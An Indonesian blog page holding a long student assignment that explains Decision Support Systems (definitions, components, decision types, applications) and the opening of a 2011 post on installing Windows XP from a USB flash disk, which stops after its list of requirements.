Jumat, 18 September 2020

Tugas SPK

Sistem Pengambilan Keputusan atau SPK yang biasa disingkat kalo menggunakan bahasa inggris itu adalah DSS atau Decision Support System adalah bagian dari sistem informasi berbasis komputer (termasuk sistem berbasis pengetahuan (manajemen pengetahuan)) yang dipakai untuk mendukung pengambilan keputusan dalam suatu organisasi atau perusahaan. Jadi DSS atau SPK ini adalah sebuah sistem yang memberikan pertimbangan kepada bagian manager sampai ke direktur atau pemilik saham dalam perusahaan, untuk memutuskan sebuah kebijakan tertentu dalam perusahaan. Definisi Secara Umum DSS adalah Sebuah sistem yang mampu memberikan kemampuan baik kemampuan pemecahan masalah maupun kemampuan pengkomunikasian untuk masalah semi terstruktur. Definisi Secara Khusus DSS adalah Sebuah sistem yang mendukung kerja seorang manajer maupun sekelompok manajer dalam memecahkan masalah semi-terstruktur dengan cara memberikan informasi ataupun usulan menuju pada keputusan tertentu. Berikut beberapa definisi SPK atau DSS menurut para ahli: Menurut Moore and Chang, SPK dapat digambarkan sebagai sistem yang berkemampuan mendukung analisis ad hoc data, dan pemodelan keputusan, berorientasi keputusan, orientasi perencanaan masa depan, dan digunakan pada saat-saat yang tidak biasa. Menurut Sprague dan Carlson (Sprague et.al., 1993), sistem yang berbasis komputer yang dipergunakan untuk membantu para pengambil keputusan dalam rangka memecahkan masalah-masalah rumit yang “mustahil” dilakukan dengan kalkulasi manual dengan cara melalui simulasi yang interaktif dimana data dan model analisis sebagai komponen utama. Menurut Mann dan Watson, Sistem Penunjang Keputusan adalah Sistem yang interaktif, membantu pengambilan keputusan melalui penggunaan data dan model-model keputusan untuk memecahkan masalah-masalah yang sifatnya semi terstruktur dan tidak terstruktur. Menurut Maryam Alavi dan H.Albert Napier, Sistem Penunjang Keputusan adalah suatu kumpulan prosedur pemprosesan data dan informasi yang berorientasi pada penggunaan model untuk menghasilkan berbagai jawaban yang dapat membantu manajemen dalam pengambilan keputusan. Menurut Litle, Sistem Penunjang Keputusan adalah suatu sistem informasi berbasis komputer yang menghasilkan berbagai alternatif keputusan untuk membantu manajemen dalam menangani berbagai permasalahan yang terstruktur atupun tidak terstruktur dengan menggunakan data dan model. Menurut Little,J.D.C, sekumpulan prosedur berbasis model untuk data pemrosesan dan penilaian guna membantu para manager mengambil keputusan. Menurut Raymond McLeod, Sistem Penunjang Keputusan adalah sistem penghasil informasi spesifik yang ditujukan untuk memecahkan suatu masalah tertentu yang harus dipecahkan oleh manajer pada berbagai tingkatan. Menurut Bonczek, R.H, C.W. Holsapple dan A.B. Whinston, DSS sebagai sistem berbasis computer yang terdiri dari tiga komponen yang saling berinteraksi : sistem bahasa (mekanisme untuk memberikan komunikasi antara pengguna dan komponen DSS lain), sistem pengetahuan (repository pengetahuan domain masalah yang ada pada DSS entah sebagai data atau sebagai prosedur), dan sistem pemrosesan masalah (hubungan antara dua komponen lainnya, terdiri dari satu atau lebih kapabilitas manipulasi masalah umum yang diperlukan untuk pengambilan keputusan). Menurut Keen, P.G.W. mendefinisikan DSS sebagai suatu produk dari proses pengembangan dimana pengguna DSS, pembangun DSS, dan DSS itu sendiri mampu mempengaruhi satu dengan yang lainnya, dan menghasilkan evolusi sistem dan pola-pola penggunaan. R. Terry, Mengemukakan bahwa pengambilan keputusan adalah sebagai pemilihan yang didasarkan kriteria tertentu atas dua atau lebih alternatif yang mungkin. Siagian Pengambilan keputusan adalah suatu pendekatan sistematis terhadap suatu masalah, pengumpulan fakta dan data. Horold dan Cyril O’Donnell Mereka mengatakan bahwa pengambilan keputusan adalah pemilihan diantara alternatif mengenai suatu cara bertindak yaitu inti dari perencanaan, suatu rencana tidak dapat dikatakan tidak ada jika tidak ada keputusan, suatu sumber yang dapat dipercaya, petunjuk atau reputasi yang telah dibuat. Claude S. Goerge, Jr Mengatakan proses pengambilan keputusan itu dikerjakan oleh kebanyakan manajer berupa suatu kesadaran, kegiatan pemikiran yang termasuk pertimbangan, penilaian dan pemilihan diantara sejumlah alternatif. Konsep Pengambilan Keputusan Pengambilan keputusan merupakan proses pemilihan terhadap beberapa alternatif pilihan yang dampaknya pada masa mendatang belum diketahui secara pasti. Pengambilan keputusan dapat dilakukan dengan memilih suatu alternatif pilihan yang dinilai memiliki banyak kelebihan dan sedikit kekurangan jika dibandingkan dengan alternatif pilihan yang lainnya, serta alternatif pilihan tersebut juga sesuai dengan kondisi terkait pada saat pengambilan keputusan dilakukan. Pengambilan keputusan merupakan hal yang penting bagi suatu bisnis dan organisasi. Dengan memilih keputusan yang tepat, suatu bisnis dan/atau organisasi dapat memecahkan masalah yang dihadapi dengan memanfaatkan sumber daya yang dimiliki dengan efisien supaya bisnis dan/atau organisasi mampu mencapai tujuannya. Supaya dapat mengambil keputusan yang efektif, seorang pengambil keputusan harus mampu memprediksi hasil dan efek dari beberapa alternatif pilihan yang tersedia, dan seorang pengambil keputusan juga harus mampu untuk menganalisis pilihan yang mana yang paling cocok diterapkan pada situasi saat itu. Dasar-Dasar Pengambilan Keputusan Menurut George R. Terry, dasar-dasar pengambilan keputusan adalah sebagai berikut : Intuisi, Pengambilan keputusan yang berdasarkan intuisi atau perasaan bersifat subjektif, sehingga mudah terkena pengaruh. Pengalaman, Pengambilan keputusan berdasarkan pengalaman memiliki manfaat bagi pengetahuan praktis. Karena pengalaman seseorang dapat memperkirakan keadaan sesuatu, dapat memperhitungkan untung ruginya, baik buruknya keputusan yang akan dihasilkan. Fakta, Pengambilan keputusan berdasarkan fakta dapat memberikan keputusan yang sehat, solid, dan baik. Dengan fakta, maka tingkat kepercayaan terhadap pengambilan keputusan dapat lebih tinggi, sehingga orang dapat menerima keputusan-keputusan yang dibuat itu dengan rela dan lapang dada. Wewenang, Biasanya dilakukan oleh pimpinan terhadap bawahannya atau orang yang lebih tinggi kedudukannya kepada orang yang lebih rendah kedudukannya. Rasional, Keputusan yang dihasilkan lebih objektif, logis, lebih transparan, konsisten untuk memaksimumkan hasil atau nilai dalam batas kendala tertentu, sehingga dapat dikatakan mendekati kebenaran atau sesuai dengan apa yang diinginkan. Komponen Sistem Pendukung Keputusan Secara umum Sistem Pendukung Keputusan dibangun oleh tiga komponen besar yaitu database Management, Model Base dan Software System/User Interface. Database Management Merupakan subsistem data yang terorganisasi dalam suatu basis data. Data yang merupakan suatu sistem pendukung keputusan dapat berasal dari luar maupun dalam lingkungan. Untuk keperluan SPK, diperlukan data yang relevan dengan permasalahan yang hendak dipecahkan melalui simulasi. Model Base Merupakan suatu model yang merepresentasikan permasalahan kedalam format kuantitatif (model matematika sebagai contohnya) sebagai dasar simulasi atau pengambilan keputusan, termasuk didalamnya tujuan dari permaslahan (objektif), komponen-komponen terkait, batasan-batasan yang ada (constraints), dan hal-hal terkait lainnya. Model Base memungkinkan pengambil keputusan menganalisa secara utuh dengan mengembangkan dan membandingkan solusi alternatif. User Interfase / Pengelolaan Dialog Terkadang disebut sebagai subsistem dialog, merupakan penggabungan antara dua komponen sebelumnya yaitu Database Management dan Model Base yang disatukan dalam komponen ketiga (user interface), setelah sebelumnya dipresentasikan dalam bentuk model yang dimengerti computer. User Interface menampilkan keluaran sistem bagi pemakai dan menerima masukan dari pemakai kedalam Sistem Pendukung Keputusan. Contoh Penggunaan SPK Sebagai contoh: sebuah perusahaan toko buku on-line ingin mulai menjual produknya secara internasional tapi ingin tahu apakah keputusan untuk menjual produknya secara internasional ini akan menjadi keputusan bisnis yang bijak. Perusahaan tersebut dapat menggunakan DSS untuk mengumpulkan informasi dari sumber daya sendiri (menggunakan tools seperti OLAP) untuk menentukan apakah perusahaan memiliki kemampuan atau potensi kemampuan untuk mengembangkan usahanya dan juga dari sumber eksternal, seperti data industri, untuk menentukan apakah memang ada permintaan untuk bertemu. DSS akan mengumpulkan dan menganalisis data dan kemudian menyajikannya dengan cara yang dapat diinterpretasikan oleh manusia. Beberapa sistem pendukung keputusan datang sangat dekat dengan bertindak agen intelijen sebagai buatan. Perkembangan Sistem Informasi Disetiap organisasi yang bergerak dalam bidang bisnes maupun organisasi yang bersifat sosial kemasyarakatan digunakannya sistem informasi dengan tujuan untuk memperbaiki sistem yang ada dan juga untuk meningkatkan produktivitas kerja. Walaupun informasi sudah diketahui manusia sejak jutaan tahun yang lalu, tetapi pengelolaannyanya di masa lalu terbatas kepada sebagian kecil orang saja. Mereka itu diantaranya, tidak lain daripada raja sebuah pemerintahan, ketua sebuah departemen, Boss di sebuah perusahaan atau panglima bagi sekumpulan tentara. Hasilnya, struktur organisasi dewasa itu menyerupai sebuah piramida dengan diketuai orang-orang tadi dengan penasihat masing-masing (mungkin 1%) di puncak, disusul pegawai profesional (yang mungkin 30%) di tengah-tengah, dan 69% para pekerja di bawah sekali. Carta organisasi standar masa lalu cenderung untuk menentukan keputusan ditingkat atas, sedangkan para pekerja di tingkat bawah yang jumlahnya banyak dikehendaki untuk menjalankan perintah. Carta organisasi berbentuk piramida ini dikatakan mempunyai ‘leadership of uninformed staff organised in vertical structures dictated by command’. Struktur organisasi yang sekarang coba dipopulerkan adalah berbentuk piramida terbalik dengan 60% pekerja informasi, yang mahir di bidang masing-masing, menduduki tingkat yang paling atas, diikuti pekerja setengah mahir (mungkin 30%) dan 10% pekerja yang tidak mempunyai kemahiran sama sekali. Dari segi kepemimpinan, carta organisasi berbentuk piramida terbalik ini dikatakan mempunyai ‘leadership of the informed staff, organised by constant consultation with wider participation and more collective thought’. Selain itu, yang perlu diperhatikan adalah jumlah pekerja yang banyak tidak lagi dijadikan ukuran tentang keberhasilan bisnes, karena sekarang sudah banyak komputer, robot dan mesin yang dapat digunakan. Sehubungan dengan itu, pekerja yang diperlukan adalah pekerja informasi yang mahir yang dikehendaki untuk mengerjakan ide, membuat prosedur, membuka pasaran baru, meluaskan pengiklanan, dan lain-lain. Kesemua itu memerlukan literasi informasi dan juga literasi komputer yang tinggi. Pada abad ke-20 diperkirakan 60% hingga 80% tenaga kerja di negara maju sudah terlibat dalam industri informasi. Sedangkan sebelumnya pada akhir abad yang ke 18, hampir 80% tenaga kerja di negara maju masih terlibat dalam sektor pertanian dan peternakan. Kemudian pada awal abad ke-19, 60% tenaga kerja itu sudah bekerja di pabrik. Kini, lebih setengah rakyat Amerika yang lahir sekitar tahun 1930-an dan yang masih bekerja itu sudah didapati bekerja dalam industri informasi, 20% di sektor pabrik, 20% lagi di sektor pelayanan umum dan kira-kira 2% saja di sektor pertanian. Adalah diramalkan cuma 15% rakyat Amerika akan terlibat dalam sektor pabrik menjelang akhir abad 21 ini. Perubahan sosio-ekonomi seperti itu juga berlaku di Jepang dan negara maju yang lainnya seperti di Eropa Barat. Di Jepang, industri informasi sudah menyumbang 35.4% kepada GDP-nya dibandingkan dengan 21.3% pada tahun 1960, sehaluan dengan peningkatan jumlah pekerja sektor informasi dari 29.6% menjadi 34.3% pada tahun 1979. Sementara itu, perkiraan pekerja informasi di negara Eropa Barat antara tahun 1970 hingga tahun 1978 adalah seperti yang berikut: 27.5% di Finlandia, 32.1% di Perancis, 32.2% di Austria, 33.2% di Jerman, 43.9% di Swedia, dan 35.6% di Inggris. Selanjutnya perubahan bisnis dan ekonomi negara maju itu sudah berpindah dari pekerjaan kasar kepada pekerjaan informasi. Sifat kerja yang dilakukan itu juga telah berubah dari ‘material logistics orientation’ kepada ‘information networking and processing’. Mengapa pekerjaan informasi mampu merubah tatanan kehidupan suatu perusahaan bahkan kehidupan suatu bangsa. Setidaknya ada dua sudut pandang tentang dikotomi pekerjaan informasi yang perlu diperhatikan, iaitu : prosedure-based dan goal-based. Perbedaan kedua sudut pandang ini dapat dilihat dalam tabel di bawah ini: Procedure-Based Goal-Based High volume of transactions Low volume of transactions Low cost (value) per transaction High value (cost) per transaction Well-structured procedures Ill-structured procedures Output measures defined Output measures less defined Focus on process Focus on problems and goals Focus on efficiency Focus on effectiveness Handling of ‘data’ Handling of concepts Predominately clerical workers Managers and professionals Dalam menentukan kriteria pekerja informasi mesti mempunyai kemahiran dalam membangun, menggunakan, menilai dan melaksanakan sistem informasi. Di antara profil pekerja informasi yang unggul ialah: Attitude: Creative, Capable of solving new and more complex problems, Competitive, take charge attitude, Skilled in thinking before acting, Must be a listener, Must be a reader, Ethical discernment of information problems, Good interpreter of information, Diplomatic Skills: Persuasive communication, Intelligent handling of information and communication, Capable to negotiate with government authorities, Drawing of financial reports, Evaluating estimates of projects and programs Knowledge: Management of information resources, Information policy, Information marketing, Oral and written communication, Generation of information products and services. Peranan yang paling menonjol dalam pekerjaan di era informasi ini dimainkan oleh kaum wanita. Akhir-akhir ini banyak perubahan sosio-ekonomi dan politik telah berlaku ke atas diri wanita, terutamanya di negara maju seperti Amerika Serikat. Perubahan itu bisa ditinjau dari perhitungan berikut: wanita akan merupakan 48% tenaga kerja di Amerika Sarikat menjelang tahun 2005 1/3 bisnes di Amerika Syarikat sudah berada di dalam tangan wanita 48% pekerja wanita sudah menyumbang 50% kepada pendapatan keluarga 82% wanita kini sudah mendapat pendidikan tinggi selain mempunyai literasi komputer yang terampil 85% wanita yang bekerja di Amerika Sarikat lebih mementingkan karier 65% daripada wanita itu terpaksa membagi-bagikan waktu di antara karier dan pekerjaan rumah tangga wanita diperkirakan 48% pengguna on-line dan Internet menjelang tahun 2000 Perubahan itu juga telah membuka banyak peluang pekerjaan yang tidak bisa diprediksi sebelumnya. Ini disebabkan faktor seperti yang berikut: teknologi tidak membedakan jantina, status pekerja, dan menghapuskan perbedaan dalam memandang pekerjaan kerana nilai budaya tradisional, gaji dan status kerja di era informasi ditentukan kemahiran menguasai teknologi, yang selanjutnya bergantung pada kebolehan individu, laki-laki yang tidak mempunyai kemahiran yang dikehendaki itu didapati membuat kerja yang dilakukan perempuan masa dahulu, siapapun juga yang mendapat pendidikan tinggi dan terlatih di teknologi informasi akan menjadi ‘technological decision maker’ sedangkan yang lain ‘technological clerks’. Jenis Keputusan dalam proses pengambilan keputusan Keputusan Terstruktur, merupakan suatu keputusan yang harus mengikuti prosedur tertentu dalam penentuannya dan bersifat rutin. Keputusan Tak Terstruktur, merupakan suatu keputusan yang dalam penentuannya memiliki prosedur dan peraturan yang belum lengkap, sehingga prosedur yang harus diikuti jadi tidak jelas. Keputusan Semi-Terstruktur, merupakan suatu keputusan yang sebagian prosedur pengambilan keputusannya dapat ditentukan, namun tidak cukup untuk memastikan keputusan. Mengenai masalah khusus. Membutuhkan intuisi untuk memecahkan masalah. Dan keputusan ini diambil untuk masalah kompleks yang terjadi sesekali. Tiga istilah yang berhubungan dengan hasil dalam pengambilan keputusan, yaitu: Kepastian yaitu pengetahuan yang lengkap dan akurat mengenai hasil tiap pilihan. Hanya ada suatu hasil untuk setiap pilihan. Resiko yaitu hasil yang mungkin timbul dapat diidentifikasi, dan suatu kemungkinan peristiwa dapat dilekatkan pada masing-masing hasil. Ketidakpastian yaitu beberapa hasil mungkin timbul dan dapat diidentifikasi, tetapi tak ada pengetahuan mengenai kemungkinan yang dapat dilekatkan kepada masing-masing hasilnya. Ada beberapa cara untuk mengklasifikasikan pengambilan keputusan, yaitu : Sistem Keputusan Tertutup dan Terbuka Sistem Keputusan Tertutup Sistem Keputusan Tertutup menganggap bahwa keputusan dipisah dari masukan yang tidak diketahui dari lingkungan. Dalam sistem ini pengambil keputusan dianggap: Mengetahui semua perangkat alternatif dan semua akibat atau hasilnya masing masing. Memiliki metode yang memungkinkan dia membuat urutan kepentingan semua alternatif. Memilih alternatif yang memaksimalkan sesuatu, misalnya laba, volume penjualan/kegunaan Dalam keputusan model tertutup, komputer dalam Sistem Informasi Manajemen bertindak sebagai sebuah alat penghitung untuk bisa menghitung hasil optimum. Sistem Keputusan Terbuka Sistem Keputusan Terbuka memandang keputusan sebagian berada dalam suatu lingkungan yang rumit dan sebagian tak diketahui. Keputusan dipengaruhi oleh lingkungan dan pada gilirannya proses keputusan kemudian mempengaruhi lingkungan. Dibandingkan dengan ketiga anggapan model tertutup, model keputusan terbuka menganggap bahwa pengambilan keputusan: Tidak mengetahui semua alternatif dan semua hasil. Melakukan pencarian secara terbatas untuk menemukan beberapa alternatif yang memuaskan. Mengambil suatu keputusan yang memuaskan tingkat aspirasinya. Dalam sistem keputusan terbuka, komputer dalam Sistem Informasi Manajemen bertindak sebagai pembantu bagi pengambilan keputusan dalam menghitung, menyimpan, mencari kembali, menganalisis data dan sebagainya. Perancangan tersebut memungkinkan manusia pengambil keputusan mengalokasikan tugas bagi dirinya atau pada komputer. Keputusan dapat berdasarkan kemampuan organisasi atau individu untuk mengadakan prarencana atas proses pengambilan keputusan, yaitu sebagai berikut : Keputusan terprogram Keputusan terprogram adalah keputusan yang dapat dispesifikasikan sebelumnya sebagai seperangkat aturan atau prosedur keputusan. Keputusan tidak terprogram Keputusan tidak terprogram adalah keputusan yang terjadi hanya satu kali atau berubah setiap saat diperlukan. Keputusan dalam suatu sistem keputusan terbuka adalah tidak terprogram karena tidak mungkin menspesifikasikan sebelumnya semua faktor. Untuk setiap model dalam pengambilan keputusan, persyaratan datanya berlainan, penyajiannya juga berbeda, dan masukan keputusan dari manusia pengambil keputusannya juga tidak sama. Terbatasnya pengambil keputusan dalam organisasi dan juga efisiensi relatif dari pengambilan keputusan yang dilakukan manusia yang berarti bahwa SIM (lebih spesifik lagi : DSS/SPK) harus memprogram sebanyak mungkin keputusan. Bila keputusan tidak dapat sepenuhnya diprogram dalam sim, maka yang dapat dilakukan pemprograman sebagian. Dalam kasus ini SIM digunakan sampai batas tertentu dan kemudian keputusan lanjutannya diserahkan pada seorang manusia pengambil keputusan. Langkah-langkah dalam pemecahan masalah (problem solving) pada suatu aktivitas bisnis. Umumnya dalam melakukan pengambilan keputusan untuk memecahkan masalah, langkah-langkahnya yaitu sebagai berikut : Menemukan Masalah Merumuskan Masalah Pada tahap ini dicari batasan dan ruang lingkup dari masalah, supaya dapat menemukan alternatif solusi yang tepat untuk pemecahan masalah tersebut. Dalam tahapan ini dicari 5w + 1h dari masalah, seperti : – Apa faktor penyebab dari masalah tersebut? Dan bagaimana apa dampaknya bagi bisnis dan/atau organisasi? – Dimana dan kapan tepatnya masalah itu terjadi? – Siapa saja yang terlibat dan terkena dampak dari masalah tersebut? – Dll. Mencari alternatif solusi Pencarian alternatif solusi bisa dengan : – Menggunakan jasa konsultan atau orang yang ahli terkait bidang permasalahan tersebut – Pengalaman dari pengambilan keputusan yang pernah dilakukan dahulu – Meminta masukan dari anggota organisasi yang terkait dengan masalah tersebut – Menganalisis data terkait masalah tersebut – dll Menemukan beberapa alternatif solusi Memperhitungkan kelebihan dan kekurangan dari alternatif solusi yang ditemukan Menganalisis apakah solusi tersebut dapat membatu organisasi atau bisnis untuk mencapai tujuannya 7. Memilih alternatif solusi yang paling banyak kelebihannya, cocok diterapkan pada situasi saat itu dan juga solusi yang dapat membantu organisasi dan bisnis untuk mencapai tujuannya Manfaat Sistem Pendukung Keputusan SPK dapat memberikan berbagai manfaat dan keuntungan. Manfaat yang dapat diambil dari SPK adalah: SPK memperluas kemampuan pengambil keputusan dalam memproses data / informasi bagi pemakainya. SPK membantu pengambil keputusan untuk memecahkan masalah terutama barbagai masalah yang sangat kompleks dan tidak terstruktur. SPK dapat menghasilkan solusi dengan lebih cepat serta hasilnya dapat diandalkan. Walaupun suatu SPK mungkin saja tidak mampu memecahkan masalah yang dihadapi oleh pengambil keputusan, namun dia dapat menjadi stimulan bagi pengambil keputusan dalam memahami persoalannya,karena mampu menyajikan berbagai alternatif pemecahan. Pembangunan DSS Apabila dilihat dari sudut pandang computer based systems perkembangannya DSS tidak bisa dilepaskan dari dua disiplin ilmu dasar, iaitu data processing yang mengolah data (basic data processing, file management, data base management, query and report generation) dan management science sebagai asas pembentuk model sistem (symbolic models, computer models, modeling systems dan interactive modeling). Adapun pihak-pihak yang terlibat (Stakeholders) dalam pembangunan DSS diantaranya: Academics and researchers DSS developers and builders Managers and users Vendor Sprague dan Carlson (1982) mengemukakan bahwa prinsip pengembangan DSS meliputi: The DDM Paradigm Level of Technology Iterative Design Organizational Environment. Pengelompokkan jenis-jenis Decision Support System Dalam DSS juga mengadopsi beberapa unsur untuk menyusunnya, salah satunya yaitu menggunakan hubungan dengan pengguna sebagai kriterianya, Haettenschwiler dalam bukunya mengemukakan bahwa DSS dibedakan menjadi pasif, aktif dan kooperatif atau kerja sama. DSS pasif adalah sistem yang membantu proses pengambilan keputusan, tetapi tidak dapat memberi saran keputusan atau solusi yang tegas, DSS aktif dapat memberi memberi saran atau solusi tersebut dengan tegas dan jelas. Cooperative DSS memungkinkan untuk proses berulang-ulang antara manusia dan sistem terhadap pencapaian solusi konsolidasi. Pembuat keputusan dapat memodifikasi, melengkapi atau memperbaiki saran keputusan yang disediakan oleh sistem untuk validasi. Daniel Power membuat pengelompokkan lain untuk DSS berdasarkan mode of assistance. Dia membedakan DSS menjadi beberapa jenis, yakni communication-driven DSS, data-driven DSS, document-driven DSS, knowledge-driven DSS, dan model-driven DSS. Communication-driven DSS memungkinkan kerjasama, mendukung lebih dari satu orang untuk menjalankan tugas bersama. Contohnya termasuk aplikasi terpadu seperti Google Docs atau Microsoft Groove. Data-driven DSS menekankan akses dan manipulasi dari dari time series data internal perusahaan dan kadang juga mengakses dari data eksternal. Document-driven DSS memungkinkan untuk mengelola, mengambil dan memanipulasi informasi terstruktur dalam berbagai format elektronik. Knowledge-driven DSS menyediakan keahlian pemecahan masalah khusus untuk disimpan sebagai fakta, aturan, prosedur atau struktur yang serupa. Model-driven DSS menekankan akses dan manipulasi dari statistik, keuangan, optimasi dan model simulasi. Jenis ini menggunakan data dan parameter yang disediakan pengguna untk membantu pembuat keputusan dalam menganalisis situasi. Kerangka pengembangan Decision Support System Sama halnya dengan sistem lainnya, pengembangan sistem DSS memerlukan pendekatan yang terstruktur. Seperti kerangka yang meliputi manusia, teknologi dan pendeketan pengembangan. Kerangka awal dari Decision Support System terdiri dari empat tahapan : Intelligence : Mencari kondisi yang akan digunakan untuk memanggil/meminta sebuah keputusan Design : Mengembangkan dan menganalisis alternatif tindakan yang memungkinkan dari solusi. Choice : Memilih tindakan diantara 2 tahap sebelumnya. Implementation : Memakai tindakan yang dipilih dalam tindakan situasi pengambilan keputusan. Pendekatan pengembangan berulang memungkinan DSS untuk diubah dan didesain ulang pada berbagai waktu. Setelah sistem ini dirancang, diperlukan sebuah pengujian dan direvisi untuk hasil yang diinginkan. Klasifikasi Decision Support System Ada beberapa langkah untuk mengklasifikasikan aplikasi DSS. Holsapple dan Whinston mengklasifikasikan DSS ke dalam enam kerangka kerja, Diantaranya Text-oriented DSS Database-oriented DSS Spreadsheet-oriented DSS Solver-oriented DSS Rule-oriented DSS Compound DSS Jenis Compound DSS merupakan klasifikasi yang paling popular untuk DSS, karena klasifikasi tersebut adalah gabungan dari sistem yang mencakup dua atau lebih dari lima stuktur dasar DSS. Dukungan (support) yang diberikan oleh DSS dapat dibedakan menjadi tiga dukungan yang berbeda dan kategori berkaitan, yaitu Dukungan pribadi (_Persona_l), Dukungan kelompok (Group) dan dukungan organisasi (Organizational). Komponen DSS dapat diklasifikasikan sebagai berikut, Input : Faktor, angka dan karakteristik untuk menganilisis. Keahlian dan pengetahuan pengguna : Input yang membutuhkan analisis manual oleh pengguna. Output : Perubahan data dari keputusan yang dihasilkan DSS. Keputusan : Result yang dihasilkan oleh DSS berdasarkan kriteria pengguna. DSS yang dipilih melakukan teori fungsi pengambilan keputusan dan didasarkan pada artificial intelligence serta intelligent agents technologies disebut Intelligent Decision Support Systems (IDSS). Bidang yang timbul/lahir dari Decision engineering melakukan keputusan sendiri sebagai engineered object dan menerapkan prinsip-prinsip rekayasa seperti desain dan jaminan kualitas sebagai gambaran yang jelas dari unsur-unsur yang membentuk keputusan. Penggunaan (Aplikasi) Decision Support System DSS secara teoritis dapat dibangun dalam bidang pengetahuan apapun. Salah satu contohnya adalah Sistem pendukung keputusan klinis untuk diagnose medis. Ada empat tahap dalam evolusi Clinical Decision Support System (CDSS), yaitu Versi sederhana yang berdiri sendiri dan tidak mendukung integrasi Generasi kedua yang mendukung integrasi dengan sistem medis lainnya Generasi ketiga berbasis standar Generasi keempat yang berbasis model layanan DSS secara luas digunakan dalam bisnis dan manajemen. Executive dashboard dan kinerja perangkat lunak bisnis lainnya memungkinkan untuk pengambilan keputusan dengan cepat, mengidentifikasi kecenderungan negative dan alokasi yang lebih baik dari sumber data bisnis. DSS memberikan semua informasi dari organisasi yang digambarkan dalam bentuk tabel dan grafik dengan cara yang ringkas yang membantu manajemen untuk mengambil keputusan strategis. Misalnya, Salah satu aplikasi DSS adalah the management and development of complex anti-terrorism systems (manajemen dan pengembangan sistem anti-terorisme yang kompleks) Petugas pinjaman bank yang memverifikasi kredit dari pemohon pinjaman atau sebuah perusahaan teknik yang memiliki tawaran pada beberapa proyek dan ingin tahu apakah mereka dapat bersaing dengan biaya mereka. Pemanfaatan DSS untuk mengoptimalkan sistem industri. Penggunaan DSS di Colorado State untuk memberikan informasi tentang banjir dan potensi bahaya diseluruh negara yang menampilan secara real-time konidisi cuaca, data lokal dan batas-batas dataran banjir. Penggunaan DSS dalam pengelolaan hutan untuk perencanaan jangka panjang, semua aspek dari manajemen hutan mulai dari log transportation, penjadwalan panen yang berkelanjutan dan perlindungan ekosistem. Sebuah contoh spesifik lainnya adalah menyangkut Sistem Kereta Api Nasional Kanada yang menguji peralatan secara teratur menggunakan DSS. Masalah yang dihadapi oleh setiap jalur kereta api adalah using dan rusaknya sebuah rel yang dapat mengakibatkan ratusan pelepasan rel dan kereta keluar dari jalurnya (derailments) per tahun. Di bawah DSS, Sistem Kereta Api Nasional Kanada berhasil mengurangi kejadian derailments. Contoh kasus dalam tipe-tipe proses pengambilan keputusan Dalam sepanjang hidupnya manusia selalu dihadapkan pada pilihan-pilihan atau alternatif dan pengambilan keputusan. Hal ini sejalan dengan teori real life choice,yang menyatakan dalam kehidupan sehari-hari manusia melakukan atau membuat pilihan-pilihan di antara sejumlah alternatif. Pilihan-pilihan tersebut biasanya berkaitan dengan alternatif dalam penyelesaian masalah yakni upaya untuk menutup terjadinya kesenjangan antara keadaan saat ini dan keadaan yang diinginkan. Begitu pula dengan perusahaan. Perusahaan juga butuh mengambil keputusan-keputusan yang nantinya akan mempengaruhi perusahaan itu ke depannya. Dan tentunya dalam pengambilan keputusan, keputusan-keputusan tersebut harus dipikirkan secara matang terlebih dahulu agar tidak merugikan perusahaan tersebut dan pihak-pihak yang terkait. Pengambilan keputusan secara universal didefinisikan sebagai pemilihan diantara berbagai alternative. Pengertian ini mencakup baik pembuatan pilihan maupun pemecahan masalah. Tipe Pengambilan keputusan ( Decision making) : adalah tindakan manajemen dalam pemilihan alternative untuk mencapai sasaran. Keputusan dibagi dalam 3 tipe : Keputusan terprogram/keputusan terstruktur yaitu keputusan yang berulang- ulang dan rutin, sehingga dapat diprogram. Keputusan terstruktur terjadi dan dilakukan terutama pada manjemen tingkat bawah. Contoh : Manajer produksi dari PT. XYZ selalu melakukan kegiatan rutin disetiap awal bulan, yaitu dengan melakukan pembelian bahan baku untuk persediaan. Keputusan setengah terprogram / setengah terstruktur yaitu keputusan yang sebagian dapat diprogram, sebagian berulang-ulang dan rutin dan sebagian tidak terstruktur. Keputusan ini seringnya bersifat rumit dan membutuhkan perhitungan – perhitungan serta analisis yg terperinci. Contoh : Pak Darwin adalah seorang Menejer Keuangan pada PT. Arta. Pekerjaan pada devisi keuangan mengharuskan Pak Darwin harus cermat dalam menginvestasikan serta mengolah keuangan pada PT. Arta. Pada saat itu diharuskan penggantian mesin di pabrik dan harus menghitungan dengan cermat sebelum melakukan investasi pada mesin yang akan dibeli agar investasi yang dilakukan tidak merugikan perusahaan. Maka Pak Darwin harus melakukan keputusan untuk menginvestasikan keuangan perushaan secara cermat. Keputusan tidak terprogram/ tidak terstruktur yaitu keputusan yang tidak terjadi berulang-ulang dan tidak selalu terjadi. Keputusan ini terjadi di manajemen tingkat atas. Informasi untuk pengambilan keputusan tidak terstruktur tidak mudah untuk didapatkan dan tidak mudah tersedia dan biasanya berasal dari lingkungan luar. Contoh : Pak Andre adalah seorang Presiden Direktur PT. Angkasa. Ia harus selalu bisa mengambil keputusan dengan cepat demi kelangsungan perusahaannya. Pengambilan keputusan yang dia ambil berdasarkan informasi pasar yang harus selalu ia dengan dan ketahui. Contohnya adalah harga saham yang selalu berubah. Dia harus bisa menyesuaikan keuangan perusahaan agar harga saham perusahaan pada bursa efek bisa selalu stabil. Read More..

Selasa, 05 April 2011

cara menginstall windows TANPA CD ROOM

[en] english [id] indonesian
Cara install Windows Xp Dari Flashdisk Solusi Install windows tanpa CD-Rom

fd4Kemaren siang sampai sore saya habiskan untuk menginstall windows disalah satu komputer client warnet yah error , gak tau kenapa gak bisa diperbaiki lagi sehingga harus di install ulang. Masalahnya komputer tersebut tidak memiliki cd-rom , solusinya banyak sih untuk nginstall windows dengan kondisi komputer seperti ini, pasang cd rom atau bisa di coba install windows melalui usb flash disk dan yang tidak di anjurkan di bawa ke toko komputer buat di installin orang hehe ( mending sendiri ) .

Penginstallan windows xp dari flash disk ini juga sangat berguna untuk menginstall windows xp di beberapa notebook yang memang tidak dilengkapi dengan cd-rom seperti seri mini notebook semacam Asus Eee pc. Memang bisa diakalin dengan menginstall menggunakan external cd-rom, tapi untuk lebih menghemat kita bisa mencoba menginstall windows dengan hanya menggunakan flash disk ( harga 60 rebu juga dapat 1 biji ).

Dengan perkembangan teknologi flash disk sekarang yang memiliki kapasitas semakin besar maka kita dengan mudah bisa menggunakan flash disk untuk menginstall windows , berikut syarat2 yang harus di persiapkan .



1. Flash disk apa aja ( kalau bisa minimal 1GB ).

2. komputer korban ( victim )

3. komputer master , lengkap dengan cd-rom tentunya ( untuk membuat master flash disk )

3. cd windows xp ( asli atau palsu terserah )

